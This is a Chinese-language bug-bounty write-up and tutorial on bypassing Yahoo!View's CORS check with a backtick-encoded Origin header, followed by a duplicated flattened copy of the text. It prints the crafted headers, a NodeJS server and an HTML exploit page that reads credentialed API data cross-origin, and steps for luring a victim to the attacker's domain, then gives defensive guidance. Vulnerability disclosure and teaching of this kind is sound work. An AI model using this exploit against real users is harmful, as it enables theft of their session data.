挖洞经验 | 看我如何绕过Yahoo!View的CORS限制策略
字数 1701 2025-08-18 11:36:57

Yahoo!View CORS限制策略绕过分析与教学

漏洞概述

本教学文档详细分析了一个关于Yahoo!View网站跨域资源共享(CORS)策略配置不当的安全漏洞。攻击者通过精心构造的请求头,成功绕过了同源策略限制,能够从第三方域名获取Yahoo!View API的敏感数据。

基础知识

CORS机制

跨域资源共享(CORS)是一种机制,它使用额外的HTTP头来告诉浏览器允许运行在一个源(domain)上的Web应用访问来自不同源服务器上的指定资源。

关键HTTP头:

  • Origin: 由浏览器自动添加,表示请求来源
  • Access-Control-Allow-Origin: 服务器响应头,指定允许访问资源的来源
  • Access-Control-Allow-Credentials: 服务器响应头,指示是否允许携带凭据(cookie等)

同源策略

同源策略是浏览器的重要安全机制,限制来自不同源的文档或脚本对当前文档的交互。同源定义为协议、域名和端口完全相同。

漏洞发现过程

初始侦察

  1. 测试目标:Yahoo!View (https://view.yahoo.com/)
  2. 使用Burp Suite进行被动监测
  3. 发现API端点:https://api.view.yahoo.com
  4. 观察到CORS策略实施

正常请求分析

请求示例:

GET /api/session/preferences HTTP/1.1
Host: api.view.yahoo.com
origin: https://view.yahoo.com

正常响应:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com

这表明:

  • 服务器允许来自view.yahoo.com的跨域请求
  • 允许携带凭据(如cookies)

漏洞挖掘过程

初步尝试

  1. 尝试修改Origin为攻击者控制的域名(sxcurity.pro)

    • 结果:无CORS相关响应头
  2. 尝试子域名(view.sxcurity.pro)

    • 结果:同样无响应
  3. 尝试构造类似域名(view.yahoo.com.sxcurity.pro)

    • 结果:仍然失败

突破性发现

尝试同时发送两个Origin头:

Origin: https://view.yahoo.com sxcurity.pro

响应:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com sxcurity.pro

这表明服务器存在解析逻辑漏洞,会接受并反射多个Origin值。

进一步利用尝试

  1. 尝试在域名间插入特殊字符:

    • 使用%s作为分隔符
    • 响应反射了该格式,但无法直接利用
  2. 关键突破:使用URL编码字符%60(反引号)

    Origin: http://view.yahoo.com%60cdl.sxcurity.pro
    

响应:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://view.yahoo.com%60cdl.sxcurity.pro

漏洞利用

利用条件

  1. 需要特定浏览器支持(Safari成功,其他主流浏览器失败)
  2. 需要设置通配符DNS记录(*.hack-r.be)

利用代码

NodeJS服务器(server.js):

const http = require('http')
const port = 6299
const fs = require("fs");

const requestHandler = (request, response) => {
  fs.readFile("index.html", function(err, data){
    response.writeHead(200, {'Content-Type': 'text/html'});
    response.write(data);
    response.end();
  });
}

const server = http.createServer(requestHandler)

server.listen(port, (err) => {
  if (err) {
    return console.log('[+] ruh roh! something went wrong :(', err)
  }
  console.log(`[+] server is listening on port ${port}`)
})

攻击页面(index.html):

<!DOCTYPE html>
<html>
<head>
<title>CORS</title>
</head>
<body>
<center>
<h2>Yahoo CORs Exploit</h2>
<textarea rows="10" cols="60" id="pwnz"></textarea>
<br>
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

利用步骤

  1. 设置DNS记录:*.hack-r.be指向攻击服务器
  2. 启动NodeJS服务器
  3. 诱使受害者访问:http://view.yahoo.com%60cdl.hack-r.be
  4. 点击"Exploit"按钮获取API数据

漏洞原理分析

该漏洞的核心在于Yahoo!View API服务器对CORS头的处理存在以下问题:

  1. Origin头解析不当:服务器未正确验证和过滤Origin头的值,接受了包含特殊字符的恶意构造
  2. 反射机制缺陷:服务器直接将构造的Origin值反射到Access-Control-Allow-Origin头中
  3. 凭据控制缺失:在存在潜在安全风险的情况下仍然允许携带凭据

防御措施

针对开发者的建议

  1. 严格验证Origin头

    • 维护允许域名的白名单
    • 拒绝包含特殊字符的Origin
  2. 避免动态反射Origin

    // 不安全做法
    header("Access-Control-Allow-Origin: $_SERVER['HTTP_ORIGIN']");
    
    // 安全做法
    $allowed = ['https://example.com', 'https://sub.example.com'];
    if (in_array($_SERVER['HTTP_ORIGIN'], $allowed)) {
        header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
    }
    
  3. 限制Access-Control-Allow-Credentials

    • 仅在绝对必要时设置为true
    • 结合严格的Origin验证使用
  4. 实施Vary: Origin头

    • 防止缓存污染攻击

针对系统管理员的建议

  1. 定期进行安全审计,特别是API端点
  2. 实施WAF规则拦截异常的Origin头
  3. 监控异常的CORS请求模式

总结

本案例展示了CORS配置不当可能导致的安全风险。关键教训包括:

  1. 永远不要信任客户端提供的Origin头
  2. 动态反射Origin值极其危险
  3. 浏览器实现差异可能影响漏洞可利用性
  4. 安全机制的错误配置可能比没有机制更危险

通过深入理解CORS机制和同源策略,开发人员可以更好地保护Web应用免受此类攻击。

Yahoo !View CORS限制策略绕过分析与教学 漏洞概述 本教学文档详细分析了一个关于Yahoo!View网站跨域资源共享(CORS)策略配置不当的安全漏洞。攻击者通过精心构造的请求头,成功绕过了同源策略限制,能够从第三方域名获取Yahoo !View API的敏感数据。 基础知识 CORS机制 跨域资源共享(CORS)是一种机制,它使用额外的HTTP头来告诉浏览器允许运行在一个源(domain)上的Web应用访问来自不同源服务器上的指定资源。 关键HTTP头: Origin : 由浏览器自动添加,表示请求来源 Access-Control-Allow-Origin : 服务器响应头,指定允许访问资源的来源 Access-Control-Allow-Credentials : 服务器响应头,指示是否允许携带凭据(cookie等) 同源策略 同源策略是浏览器的重要安全机制,限制来自不同源的文档或脚本对当前文档的交互。同源定义为协议、域名和端口完全相同。 漏洞发现过程 初始侦察 测试目标:Yahoo !View (https://view.yahoo.com/) 使用Burp Suite进行被动监测 发现API端点:https://api.view.yahoo.com 观察到CORS策略实施 正常请求分析 请求示例 : 正常响应 : 这表明: 服务器允许来自view.yahoo.com的跨域请求 允许携带凭据(如cookies) 漏洞挖掘过程 初步尝试 尝试修改Origin为攻击者控制的域名(sxcurity.pro) 结果:无CORS相关响应头 尝试子域名(view.sxcurity.pro) 结果:同样无响应 尝试构造类似域名(view.yahoo.com.sxcurity.pro) 结果:仍然失败 突破性发现 尝试同时发送两个Origin头: 响应 : 这表明服务器存在解析逻辑漏洞,会接受并反射多个Origin值。 进一步利用尝试 尝试在域名间插入特殊字符: 使用 %s 作为分隔符 响应反射了该格式,但无法直接利用 关键突破:使用URL编码字符 %60 (反引号) 响应 : 漏洞利用 利用条件 需要特定浏览器支持(Safari成功,其他主流浏览器失败) 需要设置通配符DNS记录(* .hack-r.be) 利用代码 NodeJS服务器(server.js) : 攻击页面(index.html) : 利用步骤 设置DNS记录: *.hack-r.be 指向攻击服务器 启动NodeJS服务器 诱使受害者访问: http://view.yahoo.com%60cdl.hack-r.be 点击"Exploit"按钮获取API数据 漏洞原理分析 该漏洞的核心在于Yahoo !View API服务器对CORS头的处理存在以下问题: Origin头解析不当 :服务器未正确验证和过滤Origin头的值,接受了包含特殊字符的恶意构造 反射机制缺陷 :服务器直接将构造的Origin值反射到Access-Control-Allow-Origin头中 凭据控制缺失 :在存在潜在安全风险的情况下仍然允许携带凭据 防御措施 针对开发者的建议 严格验证Origin头 : 维护允许域名的白名单 拒绝包含特殊字符的Origin 避免动态反射Origin : 限制Access-Control-Allow-Credentials : 仅在绝对必要时设置为true 结合严格的Origin验证使用 实施Vary: Origin头 : 防止缓存污染攻击 针对系统管理员的建议 定期进行安全审计,特别是API端点 实施WAF规则拦截异常的Origin头 监控异常的CORS请求模式 总结 本案例展示了CORS配置不当可能导致的安全风险。关键教训包括: 永远不要信任客户端提供的Origin头 动态反射Origin值极其危险 浏览器实现差异可能影响漏洞可利用性 安全机制的错误配置可能比没有机制更危险 通过深入理解CORS机制和同源策略,开发人员可以更好地保护Web应用免受此类攻击。